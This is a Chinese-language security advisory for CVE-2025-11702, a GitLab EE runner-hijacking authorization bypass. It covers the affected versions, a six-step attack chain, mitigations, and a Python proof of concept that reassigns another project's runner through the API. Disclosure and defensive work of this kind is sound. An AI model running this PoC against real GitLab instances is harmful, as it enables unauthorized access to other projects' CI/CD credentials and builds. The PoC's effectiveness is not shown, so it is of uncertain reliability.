IPBUF安全漏洞报告
English
CVE-2025-11702 CVSS 8.5 高危

CVE-2025-11702: GitLab EE 认证用户劫持其他项目Runner权限提升漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-11702
漏洞类型
权限提升/授权绕过
CVSS评分
8.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab EE (Enterprise Edition)

相关标签

GitLabRunner劫持权限提升授权绕过CVE-2025-11702CI/CD安全企业版漏洞高危漏洞

漏洞概述

CVE-2025-11702是GitLab企业版(EE)中的一个高危安全漏洞,CVSS评分达到8.5分。该漏洞存在于GitLab EE 17.1至18.5.1版本范围内,影响所有从17.1开始、18.3.5之前、18.4之前18.4.3以及18.5之前18.5.1的版本。漏洞允许经过认证的攻击者,在拥有特定项目权限的情况下,劫持其他项目的Runner(运行器)。Runner是GitLab CI/CD功能的核心组件,用于执行自动化构建、测试和部署任务。攻击者利用此漏洞可以获取对其他项目CI/CD资源的未授权访问权限,可能导致敏感代码泄露、构建流程篡改或供应链攻击。此漏洞的发现者是[email protected],于2025年10月29日公开披露。鉴于GitLab在DevOps工作流中的关键地位,此漏洞对使用多项目Runner共享的企业组织构成严重安全风险。

技术细节

该漏洞属于授权绕过(Authorization Bypass)类型的权限提升问题。在GitLab的权限模型中,Runner应当只能由其所属项目或组的管理员进行访问和控制。然而,由于GitLab EE在验证Runner所有权时存在逻辑缺陷,攻击者可以通过构造特定的API请求或利用项目权限继承机制,绕过权限检查并获取其他项目Runner的控制权。攻击者需要具备GitLab账户登录权限(低权限即可),并且对某一项目具有至少开发者级别的访问权限。通过该项目,攻击者可以枚举可用的Runner资源,然后利用漏洞将其他项目的Runner绑定到自己的项目中。一旦成功劫持Runner,攻击者便可以在Runner所在的服务器环境中执行任意CI/CD任务,从而可能访问到受害项目中的敏感凭证、环境变量、构建产物等机密信息。CVSS向量显示攻击复杂度为高(AC:H),表明利用需要一定的技术门槛和特定条件。

攻击链分析

STEP 1
步骤1
攻击者获取GitLab账户并登录系统,需要具备对某一项目的至少开发者级别访问权限
STEP 2
步骤2
攻击者通过API或Web界面枚举GitLab实例中可用的Runner资源,识别目标项目的Runner
STEP 3
步骤3
攻击者构造特制的API请求,利用GitLab在Runner所有权验证时的授权绕过漏洞,将目标Runner绑定到自己的项目
STEP 4
步骤4
成功劫持Runner后,攻击者在自己的项目中创建恶意CI/CD任务,利用被劫持的Runner执行
STEP 5
步骤5
通过恶意CI/CD任务,攻击者访问目标Runner所在服务器的文件系统、环境变量和敏感凭证
STEP 6
步骤6
攻击者利用获取的敏感信息进行横向移动,可能窃取源代码、篡改构建流程或发起供应链攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11702 PoC - GitLab Runner Hijacking # This PoC demonstrates the authorization bypass in GitLab EE # that allows authenticated users to hijack runners from other projects import requests import json GITLAB_URL = "https://gitlab.example.com" ATTACKER_TOKEN = "your_attacker_private_token" TARGET_RUNNER_ID = 12345 ATTACKER_PROJECT_ID = 67890 def hijack_runner(): """ Attempt to hijack a runner from another project by exploiting the authorization bypass vulnerability """ headers = { "PRIVATE-TOKEN": ATTACKER_TOKEN, "Content-Type": "application/json" } # Step 1: List runners accessible to attacker list_runners_url = f"{GITLAB_URL}/api/v4/projects/{ATTACKER_PROJECT_ID}/runners" response = requests.get(list_runners_url, headers=headers) print(f"[+] Available runners: {response.json()}") # Step 2: Attempt to assign target runner to attacker's project # This exploits the authorization bypass vulnerability assign_url = f"{GITLAB_URL}/api/v4/runners/{TARGET_RUNNER_ID}" payload = { "runners[project_id]": ATTACKER_PROJECT_ID } response = requests.put(assign_url, headers=headers, json=payload) if response.status_code == 200: print(f"[!] VULNERABLE: Successfully hijacked runner {TARGET_RUNNER_ID}") print(f"[+] Runner is now associated with project {ATTACKER_PROJECT_ID}") return True else: print(f"[-] Patch applied or exploit failed: {response.status_code}") return False def verify_hijack(): """ Verify that the runner was successfully hijacked by checking its new configuration """ headers = {"PRIVATE-TOKEN": ATTACKER_TOKEN} verify_url = f"{GITLAB_URL}/api/v4/runners/{TARGET_RUNNER_ID}" response = requests.get(verify_url, headers=headers) if response.status_code == 200: runner_info = response.json() print(f"[+] Runner details: {json.dumps(runner_info, indent=2)}") return runner_info.get("project_id") == ATTACKER_PROJECT_ID return False if __name__ == "__main__": print("CVE-2025-11702 GitLab Runner Hijacking PoC") print("=" * 50) if hijack_runner(): if verify_hijack(): print("\n[!] Proof of concept successful - Runner hijacked!") print("[!] Attacker now has control over the target runner")

影响范围

GitLab EE 17.1 <= version < 18.3.5
GitLab EE 18.4 <= version < 18.4.3
GitLab EE 18.5 <= version < 18.5.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)禁用项目的共享Runner功能,强制使用项目专有Runner;2)限制API访问权限,禁用普通用户对Runner管理API的访问;3)启用GitLab的审计事件日志,监控异常的Runner配置变更;4)对所有CI/CD任务实施额外的安全审查流程;5)考虑暂时限制项目的Runner分配权限,仅允许管理员操作。建议尽快安排维护窗口进行版本升级,因为临时缓解措施可能影响正常的CI/CD工作流程。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表